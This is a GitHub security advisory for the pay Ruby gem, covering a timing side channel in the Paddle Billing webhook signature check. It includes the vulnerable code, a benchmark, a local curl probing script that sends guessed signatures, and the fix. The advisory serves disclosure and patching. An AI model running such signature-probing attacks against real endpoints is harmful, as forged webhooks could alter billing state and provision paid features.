GHSA-MJGF-XJ26-9QF9

Vulnerability from github – Published: 2026-07-01 18:57 – Updated: 2026-07-01 18:57
VLAI
Summary
pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier
Details

Summary

Pay::Webhooks::PaddleBillingController#valid_signature? (app/controllers/pay/webhooks/paddle_billing_controller.rb) verifies the Paddle Billing webhook signature by computing OpenSSL::HMAC.hexdigest(...) and comparing it to the attacker-supplied header value using Ruby's String#==. Ruby's == is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (OpenSSL.fixed_length_secure_compare / ActiveSupport::SecurityUtils.secure_compare).

Impact

  • CWE-208 — Observable Timing Discrepancy on the webhook signature verifier.
  • An attacker who can deliver requests to the /pay/webhooks/paddle_billing mount point can probe the verifier with guessed Paddle-Signature header values. Because String#== short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.
  • A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. subscription.created / transaction.completed) against the host application. Pay's webhook processor enqueues a Pay::Webhooks::ProcessJob for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications.
  • The endpoint is internet-reachable by definition (Paddle must POST events to it).

Affected versions

pay (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).

Vulnerable code (file:line)

app/controllers/pay/webhooks/paddle_billing_controller.rb:

24:      def valid_signature?(paddle_signature)
25:        return false if paddle_signature.blank?
26:
27:        ts_part, h1_part = paddle_signature.split(";")
28:        _, ts = ts_part.split("=")
29:        _, h1 = h1_part.split("=")
30:
31:        signed_payload = "#{ts}:#{request.raw_post}"
32:
33:        key = Pay::PaddleBilling.signing_secret
34:        data = signed_payload
35:        digest = OpenSSL::Digest.new("sha256")
36:
37:        hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
38:        hmac == h1                          # <-- non-constant-time '=='
39:      end

hmac is the 64-character hex-encoded SHA-256 HMAC of "<ts>:<raw_post>" under the application's configured Paddle Billing signing secret. The comparison with h1 (the attacker-supplied h1= token from the Paddle-Signature header) uses Ruby's native String#==, which is implemented in MRI as rb_str_equal and returns immediately on the first byte mismatch.

How an attacker reaches this code

  1. Any Pay-using Rails application mounting Pay::Engine exposes POST /pay/webhooks/paddle_billing to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in config/routes.rb when paddle_billing is enabled.
  2. The controller's before_action :verify_signature invokes valid_signature? on every inbound request.
  3. An attacker repeatedly POSTs forged webhook payloads with Paddle-Signature: ts=<now>;h1=<guess> headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of <guess> matches the real hmac.
  4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.

Proof of concept (microbenchmark)

Local Ruby microbenchmark isolating the verifier comparison path:

require 'openssl'
require 'benchmark'
require 'securerandom'

key = SecureRandom.hex(32)
payload = '1730000000:{"event_type":"transaction.completed"}'
real_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)
puts "real_hmac=#{real_hmac}"

def verify(real, guess)
  real == guess     # mirrors paddle_billing_controller.rb:38
end

guesses = {
  'all-wrong'    => ('0' * real_hmac.length),
  'match-1byte'  => real_hmac[0..0]  + '0' * (real_hmac.length - 1),
  'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32),
  'match-63byte' => real_hmac[0..62] + '0',
  'exact-match'  => real_hmac.dup,
}
iters = 10_000_000
3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } }  # warmup
guesses.each do |label, g|
  t = Benchmark.realtime { iters.times { real_hmac == g } }
  puts "#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}"
end

This isolates the same String#== path used by valid_signature?. The static defect is verifiable by bundle show pay and reading line 38 of the controller.

End-to-end reproduction against gem install pay --version 11.6.1

Minimal Rails 8 app mounting Pay::Engine with paddle_billing enabled:

gem install rails -v 8.0.2
rails new payapp --skip-test --skip-bundle
cd payapp
echo "gem 'pay', '11.6.1'" >> Gemfile
echo "gem 'paddle', '~> 2.0'" >> Gemfile
bundle install
bin/rails g pay:install
# config/initializers/pay.rb adds Pay.setup, paddle_billing config
# config/routes.rb already has 'mount Pay::Engine => "/pay"' from generator

bin/rails server &

# attacker probes the webhook endpoint
WEBHOOK="http://127.0.0.1:3000/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)
# Try guesses with different prefix-match counts; response-time delta is the oracle
for guess in 0000000000000000000000000000000000000000000000000000000000000000 \
             a000000000000000000000000000000000000000000000000000000000000000 ; do
  for _ in 1 2 3; do
    curl -s -w '%{time_total}\n' -o /dev/null \
      -X POST -H "Paddle-Signature: ts=$TS;h1=$guess" \
      -H 'Content-Type: application/json' -d "$BODY" "$WEBHOOK"
  done
done

The static defect is verifiable by:

$ bundle show pay
.../gems/pay-11.6.1
$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb
        hmac == h1

After the fix is applied, the verifier uses ActiveSupport::SecurityUtils.secure_compare, which compares all bytes regardless of mismatch position, and the timing oracle closes.

Suggested fix

Replace == with ActiveSupport::SecurityUtils.secure_compare (Pay is a Rails engine, so ActiveSupport is always available).

       def valid_signature?(paddle_signature)
         return false if paddle_signature.blank?

         ts_part, h1_part = paddle_signature.split(";")
         _, ts = ts_part.split("=")
         _, h1 = h1_part.split("=")

         signed_payload = "#{ts}:#{request.raw_post}"

         key = Pay::PaddleBilling.signing_secret
         data = signed_payload
         digest = OpenSSL::Digest.new("sha256")

         hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
-        hmac == h1
+        return false if h1.nil? || hmac.bytesize != h1.bytesize
+        ActiveSupport::SecurityUtils.secure_compare(hmac, h1)
       end

The bytesize-equality guard ensures secure_compare does not return early on a length mismatch (it falls back to == if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.

Credit

Reported by tonghuaroot (https://github.com/tonghuaroot).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "pay"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "11.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T18:57:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`Pay::Webhooks::PaddleBillingController#valid_signature?` (`app/controllers/pay/webhooks/paddle_billing_controller.rb`) verifies the Paddle Billing webhook signature by computing `OpenSSL::HMAC.hexdigest(...)` and comparing it to the attacker-supplied header value using Ruby\u0027s `String#==`. Ruby\u0027s `==` is non-constant-time \u2014 it returns as soon as the first byte mismatches \u2014 and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (`OpenSSL.fixed_length_secure_compare` / `ActiveSupport::SecurityUtils.secure_compare`).\n\n## Impact\n\n- **CWE-208** \u2014 Observable Timing Discrepancy on the webhook signature verifier.\n- An attacker who can deliver requests to the `/pay/webhooks/paddle_billing` mount point can probe the verifier with guessed `Paddle-Signature` header values. Because `String#==` short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.\n- A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. `subscription.created` / `transaction.completed`) against the host application. Pay\u0027s webhook processor enqueues a `Pay::Webhooks::ProcessJob` for any accepted webhook, which downstream applications use to update billing state \u2014 including provisioning paid features, recording refunds, and triggering customer notifications.\n- The endpoint is internet-reachable by definition (Paddle must POST events to it).\n\n## Affected versions\n\n`pay` (rubygem) \u2264 v11.6.1 (latest release as of 2026-05-27).\n\n## Vulnerable code (file:line)\n\n`app/controllers/pay/webhooks/paddle_billing_controller.rb`:\n\n```ruby\n24:      def valid_signature?(paddle_signature)\n25:        return false if paddle_signature.blank?\n26:\n27:        ts_part, h1_part = paddle_signature.split(\";\")\n28:        _, ts = ts_part.split(\"=\")\n29:        _, h1 = h1_part.split(\"=\")\n30:\n31:        signed_payload = \"#{ts}:#{request.raw_post}\"\n32:\n33:        key = Pay::PaddleBilling.signing_secret\n34:        data = signed_payload\n35:        digest = OpenSSL::Digest.new(\"sha256\")\n36:\n37:        hmac = OpenSSL::HMAC.hexdigest(digest, key, data)\n38:        hmac == h1                          # \u003c-- non-constant-time \u0027==\u0027\n39:      end\n```\n\n`hmac` is the 64-character hex-encoded SHA-256 HMAC of `\"\u003cts\u003e:\u003craw_post\u003e\"` under the application\u0027s configured Paddle Billing signing secret. The comparison with `h1` (the attacker-supplied `h1=` token from the `Paddle-Signature` header) uses Ruby\u0027s native `String#==`, which is implemented in MRI as `rb_str_equal` and returns immediately on the first byte mismatch.\n\n## How an attacker reaches this code\n\n1. Any Pay-using Rails application mounting `Pay::Engine` exposes `POST /pay/webhooks/paddle_billing` to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in `config/routes.rb` when `paddle_billing` is enabled.\n2. The controller\u0027s `before_action :verify_signature` invokes `valid_signature?` on every inbound request.\n3. An attacker repeatedly POSTs forged webhook payloads with `Paddle-Signature: ts=\u003cnow\u003e;h1=\u003cguess\u003e` headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of `\u003cguess\u003e` matches the real `hmac`.\n4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.\n\n## Proof of concept (microbenchmark)\n\nLocal Ruby microbenchmark isolating the verifier comparison path:\n\n```ruby\nrequire \u0027openssl\u0027\nrequire \u0027benchmark\u0027\nrequire \u0027securerandom\u0027\n\nkey = SecureRandom.hex(32)\npayload = \u00271730000000:{\"event_type\":\"transaction.completed\"}\u0027\nreal_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(\u0027sha256\u0027), key, payload)\nputs \"real_hmac=#{real_hmac}\"\n\ndef verify(real, guess)\n  real == guess     # mirrors paddle_billing_controller.rb:38\nend\n\nguesses = {\n  \u0027all-wrong\u0027    =\u003e (\u00270\u0027 * real_hmac.length),\n  \u0027match-1byte\u0027  =\u003e real_hmac[0..0]  + \u00270\u0027 * (real_hmac.length - 1),\n  \u0027match-32byte\u0027 =\u003e real_hmac[0..31] + \u00270\u0027 * (real_hmac.length - 32),\n  \u0027match-63byte\u0027 =\u003e real_hmac[0..62] + \u00270\u0027,\n  \u0027exact-match\u0027  =\u003e real_hmac.dup,\n}\niters = 10_000_000\n3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } }  # warmup\nguesses.each do |label, g|\n  t = Benchmark.realtime { iters.times { real_hmac == g } }\n  puts \"#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}\"\nend\n```\n\nThis isolates the same `String#==` path used by `valid_signature?`. The static defect is verifiable by `bundle show pay` and reading line 38 of the controller.\n\n## End-to-end reproduction against `gem install pay --version 11.6.1`\n\nMinimal Rails 8 app mounting `Pay::Engine` with `paddle_billing` enabled:\n\n```bash\ngem install rails -v 8.0.2\nrails new payapp --skip-test --skip-bundle\ncd payapp\necho \"gem \u0027pay\u0027, \u002711.6.1\u0027\" \u003e\u003e Gemfile\necho \"gem \u0027paddle\u0027, \u0027~\u003e 2.0\u0027\" \u003e\u003e Gemfile\nbundle install\nbin/rails g pay:install\n# config/initializers/pay.rb adds Pay.setup, paddle_billing config\n# config/routes.rb already has \u0027mount Pay::Engine =\u003e \"/pay\"\u0027 from generator\n\nbin/rails server \u0026\n\n# attacker probes the webhook endpoint\nWEBHOOK=\"http://127.0.0.1:3000/pay/webhooks/paddle_billing\"\nBODY=\u0027{\"event_type\":\"transaction.completed\",\"data\":{}}\u0027\nTS=$(date +%s)\n# Try guesses with different prefix-match counts; response-time delta is the oracle\nfor guess in 0000000000000000000000000000000000000000000000000000000000000000 \\\n             a000000000000000000000000000000000000000000000000000000000000000 ; do\n  for _ in 1 2 3; do\n    curl -s -w \u0027%{time_total}\\n\u0027 -o /dev/null \\\n      -X POST -H \"Paddle-Signature: ts=$TS;h1=$guess\" \\\n      -H \u0027Content-Type: application/json\u0027 -d \"$BODY\" \"$WEBHOOK\"\n  done\ndone\n```\n\nThe static defect is verifiable by:\n\n```\n$ bundle show pay\n.../gems/pay-11.6.1\n$ sed -n \u002738p\u0027 .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb\n        hmac == h1\n```\n\nAfter the fix is applied, the verifier uses `ActiveSupport::SecurityUtils.secure_compare`, which compares all bytes regardless of mismatch position, and the timing oracle closes.\n\n## Suggested fix\n\nReplace `==` with `ActiveSupport::SecurityUtils.secure_compare` (Pay is a Rails engine, so ActiveSupport is always available).\n\n```diff\n       def valid_signature?(paddle_signature)\n         return false if paddle_signature.blank?\n \n         ts_part, h1_part = paddle_signature.split(\";\")\n         _, ts = ts_part.split(\"=\")\n         _, h1 = h1_part.split(\"=\")\n \n         signed_payload = \"#{ts}:#{request.raw_post}\"\n \n         key = Pay::PaddleBilling.signing_secret\n         data = signed_payload\n         digest = OpenSSL::Digest.new(\"sha256\")\n \n         hmac = OpenSSL::HMAC.hexdigest(digest, key, data)\n-        hmac == h1\n+        return false if h1.nil? || hmac.bytesize != h1.bytesize\n+        ActiveSupport::SecurityUtils.secure_compare(hmac, h1)\n       end\n```\n\nThe bytesize-equality guard ensures `secure_compare` does not return early on a length mismatch (it falls back to `==` if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.\n\n## Credit\n\nReported by tonghuaroot (https://github.com/tonghuaroot).",
  "id": "GHSA-mjgf-xj26-9qf9",
  "modified": "2026-07-01T18:57:02Z",
  "published": "2026-07-01T18:57:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pay-rails/pay/security/advisories/GHSA-mjgf-xj26-9qf9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pay-rails/pay"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…